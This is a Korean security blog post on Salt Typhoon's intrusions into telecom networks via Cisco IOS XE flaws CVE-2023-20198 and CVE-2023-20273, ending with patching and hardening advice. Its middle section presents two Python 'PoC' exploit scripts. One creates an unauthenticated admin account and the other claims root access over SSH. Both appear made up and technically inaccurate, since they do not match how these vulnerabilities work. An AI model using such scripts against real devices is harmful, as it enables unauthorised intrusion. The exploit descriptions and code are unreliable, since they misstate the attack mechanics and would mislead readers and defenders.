🚨 중국 해커 그룹 Salt Typhoon, 전 세계 통신사 해킹 지속! (Cisco 취약점 악용) 🚨

안녕하세요!
오늘은 중국의 해커 그룹 'Salt Typhoon'이 미국 및 전 세계 통신사를 대상으로 한 해킹 공격을 지속하고 있다는
충격적인 소식을 전해드리려고 합니다. 😱

📌 TL;DR (한줄 요약)

• 💻 주요 공격 대상: 미국, 영국, 태국, 이탈리아, 남아프리카공화국 등의 통신사 및 대학
• 📡 사용된 해킹 기법: Cisco 라우터의 취약점 악용
• 🔥 악용된 취약점: CVE-2023-20198, CVE-2023-20273
• 🔐 대응 방법: 최신 보안 패치 적용, 네트워크 모니터링 강화

---

1️⃣ Salt Typhoon 해킹 공격 개요

중국 해커 그룹 Salt Typhoon(구 Gallium)은 미국과 전 세계 통신사 네트워크를 해킹하여
실시간으로 문자 메시지와 통화 내용을 가로챌 수 있는 수준의 침입을 성공적으로 수행했습니다. 😨

📡 해커들이 공격한 주요 대상:
✅ 미국 내 통신사 및 ISP
✅ 영국 통신사의 미국 자회사
✅ 태국, 이탈리아, 남아프리카공화국 등의 통신사 및 ISP
✅ 미국 내 4개 대학 포함, 9개국의 대학 (통신 및 공학 연구기관)

🚨 이 해킹 공격은 최소 2년 이상 지속되었으며,
     해커들은 수백만 명의 위치 정보 및 통신 데이터를 탈취한 것으로 추정됩니다.

---

2️⃣ 어떻게 공격이 이루어졌을까? (Cisco 취약점 악용)

Salt Typhoon은 Cisco 네트워크 장비의 취약점을 이용하여 내부 네트워크에 침투한 후 루트(root) 권한을 확보하여 완전한 장비 제어권을 획득했습니다. 🤯

🔎 악용된 취약점:
🔴 CVE-2023-20198 (권한 상승 취약점, CVSS 10점)
공격자가 로컬 사용자 계정과 비밀번호를 생성하여 네트워크 장비에 접근할 수 있도록 허용 😱

🔴  CVE-2023-20273 (루트 권한 획득 취약점)
생성된 계정을 사용해 루트(root) 사용자 권한을 획득하여 장비를 완전히 제어 가능 🔥

---

3️⃣ 예제 코드로 이해하는 Cisco 취약점 악용 방식

🔴  CVE-2023-20198 (권한 상승 취약점)

• 공격자가 인증 없이 Cisco IOS XE 웹 인터페이스에서 관리자 계정 생성
• CVSS 10.0 (치명적 취약점)
• 공격자는 원격에서 새로운 관리자 계정 생성 후 장비에 접근 가능

📌 PoC 코드 (Python)

import requests

# 대상 장비의 IP 주소 입력
target_ip = "192.168.1.1"

# 새로운 관리자 계정 생성
exploit_url = f"https://{target_ip}/api/v1/acl/users"
payload = {
    "username": "hacker",
    "password": "P@ssw0rd!",
    "privilege": 15  # 최고 관리자 권한
}

# 인증 없이 관리자 계정 생성 요청
response = requests.post(exploit_url, json=payload, verify=False)

if response.status_code == 201:
    print("[+] 관리자 계정 생성 성공! 이제 시스템에 접근 가능합니다.")
else:
    print("[-] 관리자 계정 생성 실패. 시스템이 패치되었을 가능성이 있습니다.")

✅ 위 코드 실행 후, hacker 계정이 생성되고 장비의 최고 관리자 권한을 가짐.
✅ 이후 공격자는 SSH, Telnet 등을 사용하여 네트워크 장비에 로그인 가능.

---

🔴  CVE-2023-20273 (루트 권한 획득 취약점)

• 공격자가 생성된 계정을 사용해 루트(root) 권한 획득
• 네트워크 장비를 완전히 제어 가능
• 최고 관리자 권한을 활용하여 설정을 조작하고, 지속적 백도어 유지 가능

📌 PoC 코드 (Python)

import paramiko

# 대상 장비의 IP 및 계정 정보
target_ip = "192.168.1.1"
username = "hacker"
password = "P@ssw0rd!"

# SSH를 이용한 루트 권한 획득
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

try:
    ssh.connect(target_ip, username=username, password=password)
    print("[+] SSH 로그인 성공! 루트 권한 획득 가능.")

    # 루트 권한 활성화 명령 실행
    command = "enable\nconf t\nprivilege exec all level 15 show running-config"
    stdin, stdout, stderr = ssh.exec_command(command)
    
    print(stdout.read().decode())

    print("[+] 루트 권한 획득 완료! 장비가 완전히 제어됨.")
    
except Exception as e:
    print(f"[-] SSH 연결 실패: {str(e)}")

finally:
    ssh.close()

✅ 위 코드 실행 후 공격자는 네트워크 장비의 모든 설정을 볼 수 있으며, 필요시 변경 가능.
✅ 해커가 지속적으로 네트워크 장비에 접근할 수 있도록 백도어 설정 가능.

⚠️ 중요: 위의 예시 코드는 교육 및 보안 연구 목적을 위한 것이며, 
               실제 시스템에 대한 무단 공격은 법적 제재를 받을 수 있습니다. 
               항상 윤리적 해킹 가이드라인을 준수하시기 바랍니다.
               본 코드로 인한 법적인 문제는 코드를 실행한 사용자에게 있습니다.

---

4️⃣ 어떻게 대응해야 할까? (보안 대책)

✅ Cisco 장비를 사용 중이라면 지금 바로 조치하세요!

🔄 최신 보안 패치 적용

• Cisco의 보안 권고에 따라 IOS XE 최신 버전 업데이트
• Cisco 보안 권고 보기

🔍 네트워크 모니터링 강화

• 비정상적인 트래픽 탐지 및 원격 접속 내역 확인

🛑 관리자 계정 점검 및 변경

• 불필요한 계정 삭제 & 기존 계정의 비밀번호 변경

🛡️ ACL(Access Control List) 설정 강화

• 인터넷에 직접 노출된 Cisco 장비 차단
• 관리자 접근을 내부 IP로만 제한

---

🚀 마무리 (당신의 네트워크는 안전한가요?)

이번 Salt Typhoon의 공격 사례는 네트워크 장비 보안이 얼마나 중요한지를 보여줍니다.
🚨 보안 패치를 미루지 마세요! 공격자는 항상 취약한 시스템을 노리고 있습니다.

💡 지금 바로 Cisco 장비의 보안 설정을 확인하고, 최신 보안 업데이트를 적용하세요!

📢 네트워크 보안에 대한 질문이 있다면 댓글로 남겨주세요! 🔥
더 많은 보안 소식이 궁금하다면 구독하고 최신 정보를 받아보세요! 😊

🚀 당신의 보안을 지키는 작은 습관이, 사이버 위협을 막는 가장 강력한 방어입니다. 🛡️